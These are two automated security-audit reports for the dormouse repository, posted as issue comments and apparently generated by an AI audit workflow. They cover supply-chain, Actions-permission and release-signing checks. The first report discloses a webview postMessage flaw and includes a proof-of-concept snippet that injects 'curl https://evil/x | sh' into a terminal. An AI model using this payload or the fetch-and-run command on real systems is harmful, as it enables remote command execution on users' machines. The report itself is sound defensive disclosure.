[security-audit] FAIL on 2026-07-27

[github-actions]

Audit failed at 2026-07-27T08:06Z. Run

Security Audit Report

Audited against SECURITY.md on 2026-07-27, repo diffplug/dormouse, HEAD 8cfc0a1 (main, clean working tree).

FAIL IF results

Dependency Supply Chain

1. node website/scripts/generate-deps.js changes tracked dep JSONs from a clean checkout — PASS. Ran the script from the current checkout; git status --porcelain website/src/data/ was empty afterward (no diff produced).
2. Root package.json missing/invalid devEngines.runtime.version — PASS. package.json has devEngines.runtime.version: "24.18.0" (exact MAJOR.MINOR.PATCH).
3. standalone/src-tauri/build.rs no longer verifies bundled Node matches the pin — PASS. build.rs:37-43 calls read_pinned_node_version() then verify_node_version() before bundling; verify_node_version (line ~191-220) runs node --version on the binary and fails the build on mismatch.
4. build-standalone job doesn't install the pinned runtime via devEngines.runtime.version → setup-node — PASS. .github/workflows/release.yml:39-41 uses actions/setup-node@8207627... (pinned to v7.0.0) with node-version-file: package.json. Verified against the action's actual source at that pinned SHA (src/util.ts): it reads manifest.devEngines?.runtime before falling back to engines.node, so this genuinely resolves the devEngines pin, not just a comment claim.
5. pnpm-workspace.yaml missing minimumReleaseAge: 1440 — PASS. pnpm-workspace.yaml:23 sets minimumReleaseAge: 1440.
6. .github/renovate.json missing npm/cargo in enabledManagers — PASS. enabledManagers: ["github-actions", "npm", "cargo"].
7. .github/renovate.json missing minimumReleaseAge package rules for npm/cargo — PASS. Three packageRules entries set minimumReleaseAge of "1 day"/"3 days"/"14 days" for patch/minor/major on matchManagers: ["npm", "cargo"].

GitHub Actions Policies

8. pull_request_target outside tend-*.yaml — PASS. grep -rl pull_request_target .github/workflows/ returns only tend-review.yaml.
9. Non-agent-managed workflow grants write perms beyond id-token: write/attestations: write (or release.yml's security-audit job actions: write) — PASS. chromatic.yml, ci.yml declare only contents: read. release.yml's build-standalone/build-vscode jobs grant contents: read, id-token: write, attestations: write (the accepted provenance set); the security-audit job grants contents: read, actions: write (the explicitly documented exception); publish-vscode has no job-level override and inherits the workflow-level contents: read.

Automated Maintainer (tend)

10. Merge access ruleset missing/misconfigured — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/rulesets/16757376 → target branch, conditions.ref_name.include: ["~DEFAULT_BRANCH"], rules: [{"type":"update"}] only, bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}] (admin-only, sole bypass actor).
11. Tag operations ruleset missing/misconfigured — PASS. rulesets/16757382 → target tag, ref_name.include: ["~ALL"], rules: [{"type":"creation"},{"type":"update"}], same admin-only sole bypass actor (actor_id: 5).
12. dormouse-bot holds permission higher than push — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/collaborators/dormouse-bot/permission → {"permission":"write", "permissions":{"admin":false,"maintain":false,"push":true,...}}.
13. OVSX_PAT/VSCE_PAT present as repo-level secret — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/secrets lists only CHROMATIC_PROJECT_TOKEN, CLAUDE_CODE_OAUTH_TOKEN, TEND_BOT_TOKEN. Both PATs exist only under environments/vscode-extension-publish/secrets.
14. Environment deployment-branch-policy admits a ref not admin-gated — PASS. vscode-extension-publish policy = v* tag only (admin-gated by Tag operations). security-audit policy = main + v* tag (both admin-gated, by Merge access and Tag operations respectively).
15. AUDIT_PAT missing from security-audit env, or present at repo level — PASS. Present under environments/security-audit/secrets (AUDIT_PAT, updated 2026-05-22); absent from the repo-level secret list in check 13.
16. CHROMATIC_PROJECT_TOKEN missing from secrets.allowed in .config/tend.yaml — PASS. .config/tend.yaml → secrets: allowed: [CHROMATIC_PROJECT_TOKEN].
17. ANTHROPIC_API_KEY reachable at repo/org level while tend-*.yaml still passes it — PASS (no violation). No ANTHROPIC_API_KEY in the repo-level or org-level secret listings; all 8 tend-*.yaml files still pass anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }} (matches the documented "inert plumbing" state).
18. Org-level secret other than BUILDCACHE_USER/NEXUS_USER visible to repo — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/organization-secrets returns exactly those two, nothing else.
19. workflow-audit.yaml missing/disabled/no successful run in 48h — PASS. Workflow state: "active"; most recent successful run created_at: 2026-07-26T09:21:12Z, ~22.5 hours before this audit (2026-07-27T07:54Z).
20. Unpinned action reference in tend-*.yaml — PASS. All tend-*.yaml use @v7 / @0.1.11 style tag pins (accepted for this file per spec), none use @main or no version.
21. Agent-managed workflow grants a permission beyond the allowed set — PASS. security-audit.yaml: contents: read, actions: read, issues: write, id-token: write. workflow-audit.yaml: contents: read, issues: write, actions: read. All 8 tend-*.yaml: subsets of contents: write, pull-requests: write, id-token: write, actions: read, issues: write. All within the allowed set.

VS Code Extension Releases

22. release.yml missing vscode-extension-publish environment on publish job — PASS. publish-vscode job declares environment: name: vscode-extension-publish.
23. VSCE_PAT/OVSX_PAT used outside that environment — PASS. grep -rn "VSCE_PAT\|OVSX_PAT" .github/ finds both only inside the publish-vscode job's steps (lines 325, 337).
24. release.yml uses production desktop signing secrets in CI — PASS. grep -i "APPLE_SIGN_PASS\|EV_SIGN_PIN\|MACOS_IDENTITY\|JSIGN\|codesign\|CSC_" against release.yml finds none; the only Tauri-signing-key reference is the ephemeral CI key (see next check).
25. release.yml stops generating an ephemeral updater key — PASS. build-standalone job step "Generate ephemeral Tauri updater key" runs tauri signer generate --ci --write-keys ... --force and exports it as TAURI_SIGNING_PRIVATE_KEY for that job only.

Desktop Releases

26. scripts/sign-and-deploy.sh stops verifying attestations — PASS. verify_downloaded_artifact() calls gh attestation verify "$manifest" --repo ... --cert-identity ... --source-digest "$tag_sha".
27. scripts/sign-and-deploy.sh stops verifying SHA-256 manifests — PASS. Same function calls check_sha256_manifest, which runs sha256sum -c/shasum -a 256 -c against the manifest.
28. scripts/sign-and-deploy.sh stops using PIV-backed Windows signing — PASS. sign_windows() invokes jsign --storetype PIV --storepass "$EV_SIGN_PIN" --alias "$JSIGN_ALIAS" ....

CI Validation Contract

29. security-audit.yaml missing/disabled/not invoked from release.yml's publish path — PASS. Workflow state: "active"; release.yml's security-audit job dispatches it via gh workflow run security-audit.yaml and gh run watch ... --exit-status, and publish-vscode lists security-audit in needs:.
30. Audit weakened (qualitative pass removed, a FAIL IF ignorable, failure-reporting/issue step removed, AUDIT_PAT pre-check removed/bypassed) — PASS. security-audit.yaml step "Verify AUDIT_PAT is provisioned" hard-fails (exit 1) if the secret is empty; the Claude prompt explicitly requires the qualitative pass and forbids treating any FAIL IF as ignorable; the "Surface result, file or close issue" step (if: always()) opens/updates the security-audit-failure-labeled issue on FAIL and auto-closes on PASS, and exits non-zero on FAIL.

All 30 mechanical FAIL IF checks: PASS.

Qualitative findings

BLOCKER — VS Code webview message handler has no origin/source check, allowing PTY command injection from framed content

File: lib/src/lib/platform/vscode-adapter.ts:58-133 (handler installed in the constructor, window.addEventListener('message', (event) => {...})).

The handler branches purely on event.data.type ('pty:data', 'dor:controlRequest', etc.) and never checks event.origin or event.source. In particular, for type === 'dor:controlRequest' (line 116), it unconditionally dispatches a dormouse:control-request CustomEvent carrying method/params straight from the untrusted message. lib/src/components/wall/use-dor-control.ts listens for that event and, for SURFACE_CONTROL_METHODS.send (line 618), calls getPlatform().writePty(target.id, input) with no further authentication — this is the same trust boundary that the real dor CLI → control-socket path authenticates with a token (dor-cli.md), but here it is reachable purely by posting a same-shaped browser message.

The VS Code webview embeds a real, scriptable <iframe> for dor iframe/agent-browser surfaces (lib/src/components/wall/IframePanel.tsx:332-338), sandboxed with allow-scripts allow-same-origin allow-forms allow-popups allow-modals allow-downloads for proxied content, and with no sandbox at all for the "raw" fallback path (resolution.kind === 'raw', same file, conditional spread at line 337). Both permit executing JavaScript that calls window.parent.postMessage(...) cross-origin — postMessage is explicitly designed to cross the sandbox/origin boundary, so allow-scripts alone is sufficient for the exploit.

Concrete failure scenario: a user opens dor iframe https://attacker.example (or an agent-browser session navigates to a compromised/malicious page) inside a Dormouse pane running under the VS Code extension. That page's JavaScript runs:

window.parent.postMessage({
  type: 'dor:controlRequest', requestId: 'x', method: 'surface.send',
  params: { surface: '<any-known-surface-id>', input: 'curl https://evil/x | sh\n' }
}, '*');

This is delivered as a same-window message event to vscode-adapter.ts's listener (there is no separate window per iframe from the top document's perspective — postMessage targets are windows, and parent/top from inside the iframe is the webview's top window), which dispatches the CustomEvent, which use-dor-control.ts turns directly into a PTY write — arbitrary shell command execution in any terminal the attacker can address, without ever touching the control-socket token check. The same unguarded channel also lets framed content forge pty:data/pty:list/pty:replay to spoof terminal state.

This affects the VS Code extension host specifically. The Tauri standalone (standalone/src/tauri-adapter.ts:149) and the dev-only browser-sidecar harness (standalone/src/browser-sidecar-adapter.ts:263) receive the equivalent event over Tauri's listen() IPC channel / an internal host WebSocket respectively, not raw window.postMessage, so they are not exposed to this specific forgery path. IframePanel.tsx's own message handler (line 255, if (e.origin !== proxyOrigin) return;) shows the codebase already knows how to validate event.origin correctly — vscode-adapter.ts's handler is the outlier.

Fix direction: the webview should reject any message event whose event.source is not the VS Code host bridge, or embed a per-session nonce/token at webview boot that all extension-host-originated messages must carry and that framed content cannot obtain, before trusting dor:controlRequest (and ideally the other message types too).

INFO — No other qualitative issues found

A broader sweep of .github/workflows/*.yaml/*.yml, .config/tend.yaml, .github/renovate.json, and scripts/ found no script-injection vectors: every place that carries PR/issue/comment text (tend-mention.yaml lines 180-191, 240, 252) passes it through an env: mapping rather than interpolating ${{ }} directly into a run: shell string, which is the GitHub-recommended safe pattern; the one pull_request_target workflow (tend-review.yaml) and the PR-branch checkouts in tend-mention.yaml/tend-*.yaml match the threat model already documented and accepted in SECURITY.md's "Automated Maintainer (tend)" section (bot-scoped TEND_BOT_TOKEN, no reach to main/tags/env-scoped secrets). scripts/sign-and-deploy.sh and scripts/bump-version.sh validate/quote inputs (semver regex, quoted path expansions) and run only as a local, human-operated release step. The remote-security code (server-lib-common/src/security/, lib/src/remote/host/, dor/src/control-client.ts, standalone/sidecar/dor-control-server.js) uses CSPRNG token generation, constant-time comparisons, single-use challenges, and restrictive file permissions (0o600/0o700), consistent with docs/specs/remote-security-model.md.

Summary

Overall: FAIL.

Every mechanical FAIL IF check in SECURITY.md passes — the dependency pinning, Actions permission scoping, ruleset/bypass-actor configuration, dormouse-bot scoping, secret/environment placement, and release-signing pipeline all match the spec's claims exactly, verified against live gh api output (with AUDIT_PAT for admin-scoped endpoints) and the actual workflow/script contents rather than just the documentation. However, the qualitative pass — which SECURITY.md's CI Validation Contract explicitly requires and treats as gating — surfaced one BLOCKER: the VS Code extension host's webview message listener (lib/src/lib/platform/vscode-adapter.ts) trusts dor:controlRequest messages without any origin/source validation, and the same webview renders a real, scriptable <iframe> for browser/iframe surfaces that can reach that listener via cross-origin postMessage, giving framed page content a path to arbitrary PTY command execution that bypasses the control-socket's own token authentication. Per SECURITY.md's stated grading rule ("Status is FAIL if any FAIL IF is violated or any qualitative finding is BLOCKER"), this BLOCKER alone determines the overall result.

[github-actions]

Audit failed at 2026-07-28T06:47Z. Run

Security Audit Report

Audited commit: 78396c4210331e48c4a46661d3775a4bc9049fe5 (main)
Audit date: 2026-07-28

FAIL IF results

Dependency Supply Chain

• FAIL — node website/scripts/generate-deps.js changes tracked dependency snapshots on a clean checkout. Running it from a clean tree modified both website/src/data/dependencies-npm.json (6 lines: @stricli/core 1.2.9→1.3.0, react/react-dom 19.2.7→19.2.8) and website/src/data/dependencies-cargo.json (142 lines: base64 0.22.1→0.23.0, getrandom 0.2.17→0.4.3, serde 1.0.228→1.0.229, serde_json 1.0.150→1.0.151, plus reordered/changed transitive versions e.g. foldhash, hashbrown). Reproduced twice (git diff --stat: 142 +++++-------------------------- / 6 +-; identical on rerun). dependencies-runtime.json was unaffected. Verified the drift is real, not a generator bug: pnpm-lock.yaml line 1759 pins @stricli/core@1.3.0 while the committed JSON says 1.2.9. The committed dependency-disclosure snapshots (published at dormouse.sh/supply-chain) are stale relative to the lockfiles. Working tree was restored (git checkout --) after evidence capture; repo is clean.
• PASS — root package.json has devEngines.runtime.version: "24.18.0" (exact MAJOR.MINOR.PATCH, not a bare major).
• PASS — standalone/src-tauri/build.rs:149-224 (read_pinned_node_version / verify_node_version) reads devEngines.runtime.version, requires exactly 3 dot-separated components, runs the bundled binary's --version, and fails the build on mismatch.
• PASS — .github/workflows/release.yml's build-standalone job (lines 39-41) installs Node via actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 with node-version-file: package.json, which setup-node resolves through devEngines.runtime.version; the other two setup-node uses in the same file (lines 169-171, 300-302, in build-vscode and publish-vscode) use the same file-based pin rather than a bundled interpreter.
• PASS — pnpm-workspace.yaml:23 has minimumReleaseAge: 1440.
• PASS — .github/renovate.json enabledManagers: ["github-actions", "npm", "cargo"] — both npm and cargo present.
• PASS — .github/renovate.json has minimumReleaseAge package rules for both managers: "matchUpdateTypes": ["patch"] → "1 day", ["minor"] → "3 days", ["major"] → "14 days", all matching ["npm", "cargo"].

GitHub Actions Policies

• PASS — pull_request_target appears only in .github/workflows/tend-review.yaml (grep across .github/workflows/** found exactly one file, a tend-*.yaml).
• PASS — No non-agent-managed workflow (release.yml, chromatic.yml, ci.yml) grants a write permission beyond the allowed release-provenance set. release.yml: build-standalone/build-vscode jobs grant only contents: read, id-token: write, attestations: write; the security-audit job grants only contents: read, actions: write (the explicitly-carved-out exception); publish-vscode declares no job-level permissions: block, so it inherits the workflow-level contents: read only. chromatic.yml and ci.yml each declare only permissions: {contents: read} at the workflow level with no job-level overrides.
• PASS — workflow-audit.yaml and security-audit.yaml (agent-managed but not tend-*.yaml) SHA-pin every action: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1, actions/setup-node@820762786026740c76f36085b0efc47a31fe5020, pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271, anthropics/claude-code-action@be7b93b1907a4abad570368f3c74b6fe3807510b. release.yml and chromatic.yml/ci.yml are likewise fully SHA-pinned.

Automated Maintainer (tend)

• PASS — Ruleset Merge access (id 16757376): target: branch, conditions.ref_name.include: ["~DEFAULT_BRANCH"], rules: [{"type":"update"}] only, bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}] — single bypass actor, RepositoryRole 5 (admin), enforcement: active.
• PASS — Ruleset Tag operations (id 16757382): target: tag, conditions.ref_name.include: ["~ALL"], rules: [{"type":"creation"},{"type":"update"}], same sole admin bypass actor, enforcement: active.
• PASS — GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/collaborators/dormouse-bot/permission → {"permission":"write", ...}. Not higher than push.
• PASS — GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/secrets → CHROMATIC_PROJECT_TOKEN, CLAUDE_CODE_OAUTH_TOKEN, TEND_BOT_TOKEN only. Neither OVSX_PAT nor VSCE_PAT present at repo level.
• PASS — Environment vscode-extension-publish deployment-branch-policy: custom_branch_policies: true, branch policies list = [{"name":"v*","type":"tag"}] only — a ref admin-gated by Tag operations. Environment security-audit branch policies = [{"name":"main","type":"branch"},{"name":"v*","type":"tag"}] — both admin-gated (Merge access / Tag operations respectively). No other environments exist (gh api .../environments lists only these two).
• PASS — AUDIT_PAT present in the security-audit environment secrets (gh api .../environments/security-audit/secrets → AUDIT_PAT), absent from the repo-level secret list above.
• PASS — .config/tend.yaml has secrets.allowed: [CHROMATIC_PROJECT_TOKEN].
• PASS — ANTHROPIC_API_KEY is not present at repo level (see secret list above) or org level (see below), while every tend-*.yaml (8 files) still passes anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }} to max-sixty/tend/claude — matches the documented "inert secret plumbing" state exactly.
• PASS — GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/organization-secrets → BUILDCACHE_USER, NEXUS_USER only.
• PASS — .github/workflows/workflow-audit.yaml state is active (gh api .../actions/workflows); most recent run 30259542349 completed success at 2026-07-27T10:49:23Z, ~19h55m before this audit (2026-07-28T06:44:04Z) — within 48 hours.
• PASS — All tend-*.yaml action references use version tags (actions/checkout@v7, max-sixty/tend/claude@0.1.12), never @main or bare/no version.
• PASS — Every agent-managed workflow's granted permissions are a subset of {contents: write, pull-requests: write, issues: write, id-token: write, actions: read, contents: read}. Confirmed for all 8 tend-*.yaml files, workflow-audit.yaml (contents: read, issues: write, actions: read), and security-audit.yaml (contents: read, actions: read, issues: write, id-token: write).

VS Code Extension Releases

• PASS — release.yml's publish-vscode job (lines 288-337) declares environment: {name: vscode-extension-publish}.
• PASS — VSCE_PAT (line 325) and OVSX_PAT (line 337) are referenced only inside the publish-vscode job's steps; no other occurrence anywhere in .github/workflows/.
• PASS — No production desktop signing secret names (Apple/Windows cert material) appear in release.yml; grep for sign|updater|TAURI_SIGNING|APPLE_|WINDOWS_CERT|CODESIGN in that file surfaces only the ephemeral-key generation step.
• PASS — release.yml:63-74 ("Generate ephemeral Tauri updater key") runs tauri signer generate --ci --write-keys ... --force fresh per run and exports TAURI_SIGNING_PRIVATE_KEY to that generated path — no persisted/production key is read.

Desktop Releases

• PASS — scripts/sign-and-deploy.sh check_gh_attestation_support/verify_downloaded_artifact (lines 105-106, 392-399) call gh attestation verify on each artifact manifest before signing.
• PASS — same function (check_sha256_manifest, lines 359-368, 401-403) verifies the SHA-256 manifest via sha256sum -c / shasum -a 256 -c.
• PASS — Windows signing (lines 689-710) prompts for EV_SIGN_PIN and invokes jsign --storetype PIV ... — PIV-backed.

CI Validation Contract

• PASS — .github/workflows/security-audit.yaml exists, state: active, and is invoked from release.yml's publish path (publish-vscode job needs: [..., security-audit]; the security-audit job in release.yml dispatches security-audit.yaml via gh workflow run and gates on gh run watch --exit-status).
• PASS — The audit has not been weakened: the prompt (lines 82-121) still requires the qualitative pass ("Then do a qualitative pass over..."), still requires every FAIL IF to be checked with evidence, the failure-reporting step (lines 123-172) still opens/comments on a security-audit-failure-labeled issue and exit 1s on failure, and the AUDIT_PAT pre-check step (lines 47-55) is present, unmodified, and not bypassed (runs before the audit step, exit 1s if the secret is empty).

Qualitative findings

No BLOCKER findings. All items below are INFO/context, already covered by SECURITY.md's own accepted-risk analysis — flagged here for completeness per the "not exhaustive" instruction, not as new holes.

• INFO — tend-ci-fix.yaml:41-44 interpolates ${{ github.event.workflow_run.head_commit.message }} (and .id, .html_url, .head_sha) directly into the prompt: string passed to max-sixty/tend/claude. This is expression interpolation into an action with: input, not a run: shell block, so it is not a shell-injection vector — but a commit message on any branch feeding the watched CI/Chromatic workflows becomes part of an LLM prompt executed with TEND_BOT_TOKEN + contents: write/pull-requests: write. This is exactly the "prompt-injection through user-supplied content" risk SECURITY.md already documents and bounds (bot cannot merge to main/push tags/reach env secrets). No action needed beyond what's already documented.
• INFO — tend-mention.yaml avoids embedding raw attacker-controlled comment/issue/review body text directly in the prompt: expression; it embeds only structured, API-derived fields (IDs, states, html_urls) and instructs the agent to fetch full content itself via gh. This is a good mitigation pattern worth preserving in future tend regenerations, though the file is regenerated upstream and not hand-maintained.
• INFO — chromatic.yml triggers on plain pull_request (not pull_request_target) and passes CHROMATIC_PROJECT_TOKEN to chromaui/action. For fork-originated PRs, GitHub's first-time-contributor approval gate is the only backstop against a modified chromatic.yml in the fork exfiltrating the token; this matches the already-accepted, rotation-mitigated risk in SECURITY.md's "Reachable repo-level secrets" section. No new exposure found beyond what's documented.
• INFO — scripts/sign-and-deploy.sh secret prompts (prompt_secret, prompt_secret_multiline, lines 63-99) use read -rs (silent, no echo) and the script runs under set -euo pipefail with no set -x, so no secret-in-trace-log risk was found in the local signing tooling.
• INFO — No hardcoded credentials, private keys, or cloud access-key patterns found in a repo-wide grep for common secret shapes (ghp_/gho_/ghs_/github_pat_/AWS access-key/BEGIN ... PRIVATE KEY).

Summary

FAIL. One FAIL IF is violated: running node website/scripts/generate-deps.js from a clean checkout changes both website/src/data/dependencies-npm.json and website/src/data/dependencies-cargo.json, proving the committed dependency-disclosure snapshots (published at dormouse.sh/supply-chain) are stale relative to the current lockfiles (@stricli/core, react/react-dom on the npm side; base64, getrandom, serde, serde_json, and several transitive Cargo crates on the Rust side). This is reproducible and not a transient/tooling artifact. Every other FAIL IF — the Node runtime pin chain, GitHub Actions policy rules, all Automated Maintainer / tend rulesets, secrets, and environment-gating checks, VS Code and Desktop release controls, and the CI Validation Contract's own self-consistency — passed with direct evidence, and the admin-scope checks that required AUDIT_PAT all succeeded without any scope-drift 403s. The qualitative pass over workflows, tend config, Renovate config, and signing scripts surfaced no BLOCKER-severity issues; the few INFO items are risks SECURITY.md already names and accepts. Remediation for the FAIL is mechanical: regenerate the three dependency JSON files with node website/scripts/generate-deps.js and commit them.